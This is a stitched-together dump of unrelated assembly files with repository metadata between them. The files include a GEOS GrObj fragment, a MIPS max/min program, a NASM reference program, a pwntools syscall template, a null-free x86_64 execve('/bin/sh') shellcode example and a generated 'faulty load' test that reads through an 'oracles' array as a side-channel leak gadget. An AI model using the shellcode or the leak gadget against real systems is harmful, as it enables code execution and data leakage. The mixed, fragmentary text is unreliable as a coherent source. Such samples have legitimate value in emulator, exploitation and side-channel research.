; none of the selected objects are text objects then we ; still need to set the default attrs if this is a text message. ; Otherwise the text message will not get handled and the ; text controllers won't get updated potentially leaving them ; in an inconsistent state. ; call GrObjBodyCheckForSelectedGrObjTexts jc done ;jmp if a text object selected call GrObjGlobalCheckForClassedMetaTextMessages jc setDefaults ;jmp if text message call GrObjGlobalCheckForClassedMetaStylesMessages jc setDefaults ;jmp if styles message jmp done justSetDefaultTextAttrs: ; ; We want to force ; a text update, 'cause the GOAM's text object isn't the target, ; so it won't force one itself ; sub sp, size VisTextGenerateNotifyParams mov bp, sp mov ss:[bp].VTGNP_notificationTypes, VIS_TEXT_STANDARD_NOTIFICATION_FLAGS and not mask VTNF_SELECT_STATE clr ss:[bp].VTGNP_sendFlags mov ax, MSG_GB_GENERATE_TEXT_NOTIFY call ObjCallInstanceNoLock add sp, size VisTextGenerateNotifyParams jmp done GrObjBodySendClassedEventSetDefaultAttrs endm visTextMessageIgnoreList word \ MSG_VIS_TEXT_REPLACE_WITH_GRAPHIC, MSG_VIS_TEXT_REPLACE_TEXT, MSG_META_DISPATCH_EVENT normalMessageIgnoreList word \ MSG_META_STYLED_OBJECT_DEFINE_STYLE, MSG_META_STYLED_OBJECT_REDEFINE_STYLE, MSG_META_STYLED_OBJECT_SAVE_STYLE, MSG_META_STYLED_OBJECT_REQUEST_ENTRY_MONIKER, MSG_META_STYLED_OBJECT_UPDATE_MODIFY_BOX, MSG_META_STYLED_OBJECT_MODIFY_STYLE, MSG_META_STYLED_OBJECT_LOAD_STYLE_SHEET, MSG_META_STYLED_OBJECT_DESCRIBE_STYLE, MSG_META_STYLED_OBJECT_DESCRIBE_ATTRS, MSG_META_STYLED_OBJECT_DELETE_STYLE, MSG_VIS_TEXT_REPLACE_WITH_GRAPHIC, MSG_VIS_TEXT_REPLACE_TEXT, MSG_META_DISPATCH_EVENT GrObjRequiredCode ends GrObjExtInteractiveCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyAddDuplicateFloater %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Add a duplicate of the passed object to the visual tree PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass cx:dx - object RETURN: cx:dx - new object OD DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 5/ 9/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyAddDuplicateFloater method dynamic GrObjBodyClass, \ MSG_GB_ADD_DUPLICATE_FLOATER uses ax,bp .enter ; Copy object ; push si ;body lmem mov ax,MSG_GO_DUPLICATE_FLOATER mov bx,cx ;object handle mov cx,ds:[LMBH_handle] ;body handle xchg si,dx ;object chunk, body chunk mov di,mask MF_FIXUP_DS or mask MF_CALL call ObjMessage pop si ;body lmem ; Add new object to body ; push cx,dx ;new object OD mov bp,GOBAGOR_LAST or mask GOBAGOF_DRAW_LIST_POSITION mov ax,MSG_GB_ADD_GROBJ call ObjCallInstanceNoLock pop cx,dx ;new object OD .leave ret GrObjBodyAddDuplicateFloater endm GrObjExtInteractiveCode ends GrObjExtNonInteractiveCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyChangeGrObjDepth %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Change grobjs position in the draw and reverse lists. Note you can knock the selection array out of draw order when using this message. You may want to use MSG_GB_REORDER_SELECTION_ARRAY afterwards. PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass cx:dx - od of grobj to change depth of bp - GrObjBodyAddGrObjFlags RETURN: nothing DESTROYED: ax PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: unknown REVISION HISTORY: Name Date Description ---- ---- ----------- srs 5/19/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyChangeGrObjDepth method dynamic GrObjBodyClass, MSG_GB_CHANGE_GROBJ_DEPTH uses bp .enter ; Oh boy. We need to compare the source and dest positions ; so that we reject null moves. However, the passed ; position may well be GOBAGOR_LAST, which doesn't compare ; well with the actual positions. So we take the lesser ; of the passed position and the position in the other list. ; This lesser value cannot, of course, be GOBAGOR_LAST. ; mov bx,bp ;passed position mov ax,bp ;passed position call GrObjBodyConvertListPosition mov di,bp ;other position BitClr ax, GOBAGOF_DRAW_LIST_POSITION ;raw passed BitClr bp, GOBAGOF_DRAW_LIST_POSITION ;raw other cmp ax,bp ;raw passed to raw other jb 10$ mov bx,di ;other is smaller 10$: mov bp,bx ; To simplify our lives we are going to do all our work ; with reverse list positions. (The reverse position doesn't ; have the high bit set, so math works better). ; Convert our dest position to the reverse list if necessary. ; test bp,mask GOBAGOF_DRAW_LIST_POSITION jz 20$ call GrObjBodyConvertListPosition 20$: ; Get the current reverse position of the object ; push cx,dx ;child od mov ax, MSG_GB_FIND_GROBJ call ObjCallInstanceNoLock EC < ERROR_NC GROBJ_BODY_CHANGE_GROBJ_DEPTH_BAD_OD > mov_tr ax,dx ;reverse position pop cx,dx ;child od ; If the current and dest positions are the same then ; do nothing. ; If the child's position is less than the position the ; child is being moved to then we need to decrement the ; destination position to account for the child ; having been removed. ; cmp ax,bp ;current vs dest je done ja changeDepth dec bp changeDepth: push cx,dx ;object od mov cx,handle depthString mov dx,offset depthString call GrObjGlobalStartUndoChain pop cx,dx ;object od ; Change the child's depth ; mov ax,MSG_GB_REMOVE_GROBJ call ObjCallInstanceNoLock mov ax,MSG_GB_ADD_GROBJ call ObjCallInstanceNoLock mov bx,cx ;child handle mov si,dx ;child chunk mov di,mask MF_FIXUP_DS mov ax,MSG_GO_INVALIDATE call ObjMessage call GrObjGlobalEndUndoChain done: .leave ret GrObjBodyChangeGrObjDepth endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyFindGrObj %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Find the position in the draw list and the reverse list of the passed child PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass cx:dx - OD of child RETURN: stc - if found cx - position in draw list dx - position in reverse list clc - if not found cx,dx - destroyed DESTROYED: see RETURN PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 11/18/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyFindGrObj method dynamic GrObjBodyClass, \ MSG_GB_FIND_GROBJ uses ax,bp .enter ; Find child in normal draw linkage ; ; mov di,ds:[si] ;treat composite offset as if ; mov di,ds:[di].GrObjBody_offset ;it is from meta data ; add di,offset GBI_drawComp CheckHack <(offset GrObj_offset) eq (offset Vis_offset)> movnf ax, <offset GOI_drawLink> mov di,offset GBI_drawComp mov bx, offset GrObj_offset ;grobj is master call ObjCompFindChild cmc jnc done ; Convert draw list position to reverse list position. ; (reverse position = Num children-draw position-1) ; mov cx,bp ;position in draw list mov di,ds:[si] add di,ds:[di].GrObjBody_offset mov dx,ds:[di].GBI_childCount sub dx,cx dec dx stc ;found done: .leave ret GrObjBodyFindGrObj endm GrObjExtNonInteractiveCode ends
23.114804
109
0.609701
b16e0996328d16035c973bfe036d26d0afdb91a3
237
asm
Assembly
cemu/examples/x86_64_sys_exec_bin_sh_null_free.asm
MatejKastak/cemu
c6f93239a5901ce00d2f739a3913d0ba7d0ed4e4
[ "MIT" ]
823
2016-05-15T08:55:57.000Z
2022-03-23T01:06:44.000Z
cemu/examples/x86_64_sys_exec_bin_sh_null_free.asm
MatejKastak/cemu
c6f93239a5901ce00d2f739a3913d0ba7d0ed4e4
[ "MIT" ]
57
2016-05-16T20:09:17.000Z
2022-03-13T14:11:51.000Z
cemu/examples/x86_64_sys_exec_bin_sh_null_free.asm
MatejKastak/cemu
c6f93239a5901ce00d2f739a3913d0ba7d0ed4e4
[ "MIT" ]
118
2016-05-16T18:10:25.000Z
2022-03-02T15:02:18.000Z
# rax = sys_execve xor rax, rax mov al, 59 # write /bin/sh @rsp mov rsi, 0x0168732f6e69622f shl rsi, 8 shr rsi, 8 mov [rsp], rsi # rdi = @/bin/sh mov rdi, rsp # nullify the other args xor rsi, rsi xor rdx, rdx # trigger interrupt syscall
15.8
27
0.700422
e9badbbb498758ce32b4537de192da0962f8fd25
322
asm
Assembly
pwnlib/shellcraft/templates/thumb/android/clock_getres.asm
zaratec/pwntools
8793decd1c9b8c822e3db6c27b9cbf6e8cddfeba
[ "MIT" ]
5
2018-05-15T13:00:56.000Z
2020-02-09T14:29:00.000Z
pwnlib/shellcraft/templates/thumb/android/clock_getres.asm
FDlucifer/binjitsu
999ad632004bfc3e623eead20eb11de98fc1f4dd
[ "MIT" ]
null
null
null
pwnlib/shellcraft/templates/thumb/android/clock_getres.asm
FDlucifer/binjitsu
999ad632004bfc3e623eead20eb11de98fc1f4dd
[ "MIT" ]
6
2017-09-07T02:31:11.000Z
2021-07-05T16:59:18.000Z
<% from pwnlib.shellcraft.aarch64.linux import syscall %> <%page args="clock_id, res"/> <%docstring> Invokes the syscall clock_getres. See 'man 2 clock_getres' for more information. Arguments: clock_id(clockid_t): clock_id res(timespec): res </%docstring> ${syscall('SYS_clock_getres', clock_id, res)}
21.466667
81
0.714286
f4ba54eea8bc417ebdc1bdd9df3471dba9631bdb
7,750
asm
Assembly
Transynther/x86/_processed/NONE/_st_un_/i7-7700_9_0x48.log_21829_2263.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_st_un_/i7-7700_9_0x48.log_21829_2263.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_st_un_/i7-7700_9_0x48.log_21829_2263.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r14 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x173b0, %rdi nop nop nop nop dec %r14 movb $0x61, (%rdi) nop nop nop nop inc %rcx lea addresses_UC_ht+0x4a26, %rbp clflush (%rbp) nop xor $59768, %rdx movl $0x61626364, (%rbp) inc %r10 lea addresses_WC_ht+0xdca6, %rbp nop nop add $46454, %r11 movups (%rbp), %xmm1 vpextrq $0, %xmm1, %rcx nop nop cmp %rdi, %rdi lea addresses_D_ht+0x14676, %r10 nop nop nop nop cmp %r11, %r11 and $0xffffffffffffffc0, %r10 movntdqa (%r10), %xmm3 vpextrq $1, %xmm3, %rcx nop sub %rcx, %rcx lea addresses_WT_ht+0xf419, %rsi lea addresses_normal_ht+0x8aa6, %rdi xor $21890, %r11 mov $34, %rcx rep movsq nop sub %rdi, %rdi lea addresses_WT_ht+0x142a6, %r14 xor %rbp, %rbp movups (%r14), %xmm4 vpextrq $0, %xmm4, %rdi and %rdi, %rdi lea addresses_normal_ht+0x5526, %rsi lea addresses_D_ht+0x19a6, %rdi cmp $38113, %r14 mov $33, %rcx rep movsw inc %rdx lea addresses_D_ht+0x1cf26, %rbp nop nop nop nop and $51915, %rdx mov (%rbp), %ecx nop nop nop add %rcx, %rcx lea addresses_D_ht+0x142d2, %rsi lea addresses_A_ht+0xeba0, %rdi nop nop nop xor %rbp, %rbp mov $74, %rcx rep movsw nop nop nop nop xor $29437, %r10 lea addresses_WT_ht+0x1cea6, %rsi lea addresses_UC_ht+0xdca6, %rdi clflush (%rsi) nop nop and $10942, %r10 mov $42, %rcx rep movsw and $10579, %rcx lea addresses_A_ht+0xa2a6, %r10 nop nop nop nop nop and %r11, %r11 movb (%r10), %r14b nop cmp $25840, %r14 lea addresses_WC_ht+0x1d1a6, %rdx clflush (%rdx) nop nop nop nop and %r14, %r14 movb $0x61, (%rdx) nop nop nop nop cmp $61930, %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r14 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r15 push %rax push %rbp push %rbx push %rdx // Store lea addresses_D+0x10aa6, %r15 nop nop nop nop nop and %rbp, %rbp mov $0x5152535455565758, %rax movq %rax, %xmm5 movups %xmm5, (%r15) nop xor %rbp, %rbp // Store lea addresses_normal+0xeb46, %rbx nop nop add %r12, %r12 movb $0x51, (%rbx) nop nop sub $65230, %rbp // Store lea addresses_US+0x7ea6, %r15 nop nop add %rbx, %rbx mov $0x5152535455565758, %r13 movq %r13, (%r15) nop nop nop nop add $4131, %rbp // Faulty Load lea addresses_WT+0x18aa6, %r12 nop nop inc %rdx mov (%r12), %r15 lea oracles, %rdx and $0xff, %r15 shlq $12, %r15 mov (%rdx,%r15,1), %r15 pop %rdx pop %rbx pop %rbp pop %rax pop %r15 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 11, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 4, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 9, 'size': 8, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 9, 'size': 16, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 4, 'size': 16, 'same': False, 'NT': True}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 11, 'size': 16, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 6, 'size': 1, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': False, 'NT': False}} {'58': 21804, '5f': 25} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 5f 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
34.598214
2,999
0.654968
c526affb7d5de98fb84232129dd552fa2ec5252a
3,791
asm
Assembly
Max/min.asm
miguel2192/CSC211-Assembly
39cd43026f07e443d9809fb7ec229303522ecab9
[ "MIT" ]
null
null
null
Max/min.asm
miguel2192/CSC211-Assembly
39cd43026f07e443d9809fb7ec229303522ecab9
[ "MIT" ]
null
null
null
Max/min.asm
miguel2192/CSC211-Assembly
39cd43026f07e443d9809fb7ec229303522ecab9
[ "MIT" ]
null
null
null
########### max.asm ############################## # Miguel Rodriguez # # max.asm # # Description # # Determines the max of two floating numbers # # Program Logic # # 1. Ask for A # # 2. Ask for B # # 3. Compare values # # 4. Display the greater value # # 5. reapeats the program using a while loop # # 5. return to operating system # ################################################## .text .globl __start __start: # get the values into registers la $a0,promptA # prompt user for A li $v0,4 # print string syscall li $v0,6 # read single syscall # $f0 <-- x mov.s $f4,$f0 #move f0 to f4 la $a0,promptB # prompt user for A li $v0,4 # print string syscall li $v0,6 # read single syscall # $f0 <-- x mov.s $f6,$f0 #move f0 to f4 c.lt.s $f4,$f6 # is A < B? bc1t printA # yes -- print A c.lt.s $f6,$f4 # is B < A? bc1t printB # yes -- print B la $a0,EQmsg # otherwise li $v0,4 # they are equal syscall mov.s $f12,$f4 # print one of them b prtnum printA: la $a0,Amsg # message for A li $v0,4 syscall mov.s $f12,$f6 # print A b prtnum printB: la $a0,Bmsg # message for B li $v0,4 syscall mov.s $f12,$f4 # print B prtnum: li $v0,2 # print single precision # value in $f12 syscall la $a0,newl li $v0,4 # print new line syscall ############################################################################### # WHILE LOOP # CREATES REPETITION ############################################################################### # Ask the user if that user wishes to repeat this program: 1-yes, 0-no la $a0,p4 li $v0,4 syscall # Enter an integer (1 or 0) la $v0,5 # Load address of the message area syscall # Compare input to 1 beqz $v0,eop # if it is 1 repeat j __start eop: li $v0,10 # End Of Program syscall # Call to system .data promptA: .asciiz "Enter A: " promptB: .asciiz "Enter B: " Amsg: .asciiz "B is Larger: " Bmsg: .asciiz "A is Larger: " EQmsg: .asciiz "They are equal: " newl: .asciiz "\n" p4: .asciiz "\nWould you like to repeat the program: (1-yes, 0-no)" ############## Output ########################################################### # Console # ========================= # Enter A: 4.5 # Enter B: 8.7 # B is Larger: 8.69999981 # # Would you like to repeat the program: (1-yes, 0-no)1 # Enter A: 3.3 # Enter B: 7.7 # B is Larger: 7.69999981 # # Would you like to repeat the program: (1-yes, 0-no)1 # Enter A: 8.8 # Enter B: 1.1 # A is Larger: 8.80000019 # # Would you like to repeat the program: (1-yes, 0-no)0 # # ##################################################################################
29.617188
88
0.363756
c1232b96216f361bcbbb17239a35607ec27021f0
5,952
asm
Assembly
nasm/Reference/main.asm
wbwiltshire/LinuxAssembler
7832553b0fab63c2446432ca60a5f9435c2c920d
[ "Apache-2.0" ]
1
2022-01-11T16:06:43.000Z
2022-01-11T16:06:43.000Z
nasm/Reference/main.asm
wbwiltshire/LinuxAssembler
7832553b0fab63c2446432ca60a5f9435c2c920d
[ "Apache-2.0" ]
null
null
null
nasm/Reference/main.asm
wbwiltshire/LinuxAssembler
7832553b0fab63c2446432ca60a5f9435c2c920d
[ "Apache-2.0" ]
null
null
null
; Reference impelementation for X86_64 assembler on Linux ; using Netwide Assembler (nasm) and Intel syntax ; ; Written for Linux x86_64 ; %r prefix means 64 bit registers ; %e prefix means 32 bit registers ; ; Linux x86_64 system calls: http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ ; ; BUFFER SECTION ; CONSTANTS STDIN equ 0 STDOUT equ 1 STDERR equ 2 SYS_WRITE equ 1 SYS_EXIT equ 60 FOUR_PLUS_FOUR equ 4 + 4 BUFFER_SIZE equ 512 ARG_COUNT equ 2 SYS_GET_TOD equ 96 ; BUFFER SECTION section .bss ;local storage allocated at runtime BUFFER_DATA: resb BUFFER_SIZE ;reserve BUFFER_SIZE bytes destination: resb 11 destinationRep: resb 11 destinationStos: resb 11 ; CODE SECTION section .text ;--- Start of main program --- global _start, print extern printf, printElapsed _start: ; Initialiize mov rbp, rsp ; Capture start time lea rdi, [startTime] ; pointer to timeval structure xor rsi, rsi ; pointer to timezone structure (should be null) mov rax, SYS_GET_TOD ; sys/gettimeofday system call syscall ; Make system call ; Get command line arguments pop rcx ; pop the argument count into rcx mov [argC], rcx ; store the count cmp rcx, ARG_COUNT jnz usage lea rsi, [startMsg] call print ; Handle command line arguments %include "getclarguments.inc" examples: ; Examples of moving data and address modes %include "addressingModes.inc" ; Examples of different jumps and compares %include "compareAndJump.inc" ; Example of strings %include "stringStuff.inc" ; Examples of math instructions (addition, subtraction, multiplication, and division) %include "mathinstructions.inc" ; Call printf "C" library function ;Note: printf may destroy rax and rcx, so we'll save them before the call push rax push rcx lea rdi, [cMessage2] ; set 1st parameter (format string) lea rsi, [cParm2] ; set 2st parameter (first variable) xor rax, rax ; because printf is varargs call printf pop rcx pop rax lea rsi, [endMsg] call print exit: ; Capture end time lea rsi, [newline] call print lea rsi, [elapsedMsg] call print lea rdi, [endTime] ; pointer to timeval structure xor rsi, rsi ; pointer to timezone structure (should be null) mov rax, SYS_GET_TOD ; sys/gettimeofday system call syscall ; Make system call mov rax, [endSecs] ; Move seconds for substract sub rax, [startSecs] ; Difference is elapsed time in usecs mov rcx, 1000000 ; Adjust for 1M microseconds/second mul rcx ; mul will multiplie rcx * rax ; result in rax (least significant) and rdx mov rdi, [endMSecs] ; Move for substract sub rdi, [startMSecs] ; Difference is elapsed time in usecs add rdi, rax ; Add in the difference in seconds call printElapsed lea rsi, [newline] ; rdi has elapsed time call print ; exit(0) mov eax, SYS_EXIT ; system call 60 is exit xor rdi, rdi ; exit code 0 syscall ; ---------------------------------------------------------------------------------------- ; Prints a null terminated string with pointer in RSI ; ---------------------------------------------------------------------------------------- print: push rax ; save calling registers push rbx push rcx push rdx push rdi push rsi xor rax, rax ; search for '\0' null terminator mov rdi, rsi ; source to search xor rcx, rcx ; set max search length not rcx cld ; search forward repne scasb ; search until found or end jnz printExit not rcx dec rcx ; compute length ; write(message, length) - source is rsi mov rax, SYS_WRITE ; system call 1 is write mov rdi, STDOUT ; file handle 1 is stdout mov rdx, rcx ; length of string syscall printExit: pop rsi ; restore calling registers pop rdi pop rdx pop rcx pop rbx pop rax ret usage: lea rsi, [usageMsg] call print jmp exit ; Far jump for compareAndJump ;org 0x9000 farJump: lea rsi, [farJumpMsg] call print jmp nearConditional ; ---------------------------------------------------------------------------------------- ; DATA SECTION ; ---------------------------------------------------------------------------------------- section .data argC: dq 0 ; hold command line argument count argPtrs: ; table of argument addresses TIMES ARG_COUNT dq 0 startTime: startSecs: dq 0 startMSecs: dq 0 endTime: endSecs: dq 0 endMSecs: dq 0 oneb: db 1 ; 1 byte onew: dw 1 ; 2 bytes oned: dd 1 ; 4 bytes oneq: dq 1 ; 8 bytes listb: db 1, 2, 3 ; 3 bytes listw: dw 1, 2, 3 ; 6 bytes listd: dd 1, 2, 3 ; 12 bytes listq: dq 1, 2, 3 ; 24 bytes newline: db 10, 0 ; newline byteMsg: db "0x" ; 1 byte is 2 hex digits db 10, 10, 0 ; newline startMsg: db "Starting reference..." ; Start message db 10, 0 ; newline endMsg: db 10 ; newline db "Reference ended." ; End messagee db 10, 0 ; newline dontrun: db "Oops!" ; shouldn't run message db 10, 0 farJumpMsg: db "Jumped far!" ; far jump message db 10, 0 cMessage: db 10, "Printed from C library!" db 10, 0 cMessage2: db "Hello %s!" db 10, 0 cParm2: db "World" db 0 elapsedMsg: db "Elapsed time(us): " db 0 usageMsg: db "Usage: reference <infile>" db 10, 0 sourceString: db "012345689" ; string
27.178082
96
0.574093
c9a4b3c1fb9f228c6139fbf748e0e9fb0f15b181
15,587
asm
Assembly
chapter_3/page_127/exercise_8/KiDisplayBlueScreen.asm
assaflevy/practical_reverse_engineering
1fd9b1b95238b9de5bc52017047b676d02b8dabd
[ "MIT" ]
null
null
null
chapter_3/page_127/exercise_8/KiDisplayBlueScreen.asm
assaflevy/practical_reverse_engineering
1fd9b1b95238b9de5bc52017047b676d02b8dabd
[ "MIT" ]
null
null
null
chapter_3/page_127/exercise_8/KiDisplayBlueScreen.asm
assaflevy/practical_reverse_engineering
1fd9b1b95238b9de5bc52017047b676d02b8dabd
[ "MIT" ]
null
null
null
